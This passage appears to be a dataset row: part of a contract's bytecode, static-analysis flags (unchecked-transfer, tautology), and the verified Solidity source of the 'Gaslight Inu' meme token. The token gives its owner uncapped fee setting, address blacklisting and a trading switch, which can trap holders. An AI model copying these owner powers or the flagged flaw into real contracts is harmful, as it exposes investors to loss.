b6040518082815260200191505060405180910390f35b3415610a8157600080fd5b610aad600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a32565b005b3415610aba57600080fd5b610ac2611b87565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610b0f57600080fd5b610b2e6004808035906020019091908035906020019091905050611bad565b005b3415610b3b57600080fd5b610b43611c73565b604051808215151515815260200191505060405180910390f35b600080600080600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515610b9f57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633af32abf866040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610c5b57600080fd5b5af11515610c6857600080fd5b505050604051805190501515610c7d57600080fd5b349350600084111515610c8f57600080fd5b680ad78ebc5ac6200000610ceb85601660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8e90919063ffffffff16565b11151515610cf857600080fd5b60009250610d04611c73565b15610d6a57610d11611cac565b9150610d1d8483611d51565b9250670de0b6b3a76400008310151515610d3657600080fd5b610d4b83600854611c8e90919063ffffffff16565b90506015548111151515610d5e57600080fd5b80600881905550610d78565b60001515610d7757600080fd5b5b610d83858585611de7565b5050505050565b601460049054906101000a900463ffffffff1681565b600b5481565b600d5481565b601460029054906101000a900460ff1681565b60135481565b60166020528060005260406000206000915090505481565b600e5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3e57600080fd5b8082101515610e4c57600080fd5b81600481905550806005819055507fbac91f1de4c14cf75a49bd70fedc2b96bcea270a30fa4c30adc0c056fd4dbe6260008383604051808460ff168152602001838152602001828152602001935050505060405180910390a15050565b600a5481565b60045481565b60095481565b60075481565b60155481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f2257600080fd5b8082101515610f3057600080fd5b81600c8190555080600d819055507fbac91f1de4c14cf75a49bd70fedc2b96bcea270a30fa4c30adc0c056fd4dbe6260018383604051808460ff168152602001838152602001828152602001935050505060405180910390a15050565b60055481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b60115481565b601460089054906101000a900463ffffffff1681565b60085481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561107957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f77d555b79ccf31c4eb1a22c8c92cf27785375c5e0cb45126b2653654bc03f57b60405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660189054906101000a900463ffffffff1681565b60125481565b60006005544211905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111bc57600080fd5b80821015156111ca57600080fd5b81600e8190555080600f819055507fbac91f1de4c14cf75a49bd70fedc2b96bcea270a30fa4c30adc0c056fd4dbe6260028383604051808460ff168152602001838152602001828152602001935050505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112a857600080fd5b60008263ffffffff161180156112c4575060008163ffffffff16115b15156112cf57600080fd5b81600660146101000a81548163ffffffff021916908363ffffffff16021790555080600660186101000a81548163ffffffff021916908363ffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff6d3d52d61fd312009ee66ad075ee261539d9ac43ce1a0d91aa711cff5795f2a600660149054906101000a900463ffffffff16600660189054906101000a900463ffffffff16604051808363ffffffff1663ffffffff1681526020018263ffffffff1663ffffffff1681526020019250505060405180910390a25050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806113fa611c73565b1561142257611407611cac565b905061141b670de0b6b3a764000082611d51565b9150611427565b600091505b5090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561148657600080fd5b83601460006101000a81548160ff021916908360ff16021790555082601460016101000a81548160ff021916908360ff16021790555081601460026101000a81548160ff021916908360ff16021790555080601460036101000a81548160ff021916908360ff1602179055507f5a8768544835ee50e7793e9665bd89729f65702ea58b5673d07218445054f46984848484604051808560ff1660ff1681526020018460ff1660ff1681526020018360ff1660ff1681526020018260ff1660ff16815260200194505050505060405180910390a150505050565b600c5481565b601460009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115d357600080fd5b80821015156115e157600080fd5b81601081905550806011819055507fbac91f1de4c14cf75a49bd70fedc2b96bcea270a30fa4c30adc0c056fd4dbe6260038383604051808460ff168152602001838152602001828152602001935050505060405180910390a15050565b600060085460075401905090565b601460019054906101000a900460ff1681565b601460039054906101000a900460ff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116d057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611782576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561177d57600080fd5b61199a565b8291508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561181f57600080fd5b5af1151561182c57600080fd5b5050506040518051905090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156118fb57600080fd5b5af1151561190857600080fd5b50505060405180519050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167ff931edb47c50b4b4104c187b5814a9aef5f709e17e2ecf9617e860cacade929c836040518082815260200191505060405180910390a35b505050565b6000806119aa6113ef565b90506119ea60646119dc600660189054906101000a900463ffffffff1663ffffffff16846120c890919063ffffffff16565b6120fb90919063ffffffff16565b91505090565b600660149054906101000a900463ffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a8d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611ac957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c0857600080fd5b8082101515611c1657600080fd5b81601281905550806013819055507fbac91f1de4c14cf75a49bd70fedc2b96bcea270a30fa4c30adc0c056fd4dbe6260048383604051808460ff168152602001838152602001828152602001935050505060405180910390a15050565b60006004544210158015611c8957506005544211155b905090565b6000808284019050838110151515611ca257fe5b8091505092915050565b600042600c5410158015611cc15750600d5442105b15611cdd57601460009054906101000a900460ff169050611d4e565b42600e5410158015611cf05750600f5442105b15611d0c57601460019054906101000a900460ff169050611d4e565b4260105410158015611d1f575060115442105b15611d3b57601460029054906101000a900460ff169050611d4e565b601460039054906101000a900460ff1690505b90565b60008060008060008560ff1610158015611d6e575060648560ff16105b1515611d7957600080fd5b611da4600660149054906101000a900463ffffffff1663ffffffff16876120c890919063ffffffff16565b92508460640360030260ff169150611dd982611dcb612710866120c890919063ffffffff16565b6120fb90919063ffffffff16565b905080935050505092915050565b6000611dfe83600954611c8e90919063ffffffff16565b600981905550611e49670de0b6b3a7640000611e3b600660149054906101000a900463ffffffff1663ffffffff16866120c890919063ffffffff16565b6120fb90919063ffffffff16565b9050611e6081600a54611c8e90919063ffffffff16565b600a81905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611f2a57600080fd5b5af11515611f3757600080fd5b50505060405180519050508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188585604051808381526020018281526020019250505060405180910390a3611fc56001600b54611c8e90919063ffffffff16565b600b8190555061201d83601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8e90919063ffffffff16565b601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f1935050505015156120c257600080fd5b50505050565b600080828402905060008414806120e957508284828115156120e657fe5b04145b15156120f157fe5b8091505092915050565b600080828481151561210957fe5b04905080915050929150505600a165627a7a7230582058f39d3eb1f31441234e163675b10393dd58565cb867d56e3764e33e8a1466720029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 10,193 |
0x6E64D005D1f12daf3B1A60B098455b0da5Ced437 | /**
*Submitted for verification at Etherscan.io on 2022-03-24
*/
/*
Telegram: https://t.me/Gaslightelon
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GaslightInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Gaslight Inu";
string private constant _symbol = "Ginu";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x55EAf0aaBDB59EB721D93A26653864FC85840895);
address payable private _marketingAddress = payable(0x55EAf0aaBDB59EB721D93A26653864FC85840895);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 25000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b257600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611961565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600c81526b4761736c6967687420496e7560a01b60208201525b60405161023c9190611a26565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a7b565b61069c565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50670de0b6b3a76400005b60405190815260200161023c565b3480156102de57600080fd5b506102656102ed366004611aa7565b6106b3565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023c565b34801561033057600080fd5b50601554610295906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611ae8565b61071c565b34801561037057600080fd5b506101fc61037f366004611b15565b610767565b34801561039057600080fd5b506101fc6107af565b3480156103a557600080fd5b506102c46103b4366004611ae8565b6107fa565b3480156103c557600080fd5b506101fc61081c565b3480156103da57600080fd5b506101fc6103e9366004611b30565b610890565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611ae8565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610295565b34801561045b57600080fd5b506101fc61046a366004611b15565b6108bf565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b5060408051808201909152600481526347696e7560e01b602082015261022f565b3480156104be57600080fd5b506101fc6104cd366004611b30565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b49565b610936565b3480156104fe57600080fd5b5061026561050d366004611a7b565b610974565b34801561051e57600080fd5b5061026561052d366004611ae8565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b7b565b6109d5565b34801561058357600080fd5b506102c4610592366004611bff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b30565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ae8565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c38565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c99565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c38565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c38565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c38565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c38565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c38565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c38565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c38565b60005b82811015610a70578160056000868685818110610a2157610a21611c6d565b9050602002016020810190610a369190611ae8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c99565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c38565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c38565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461b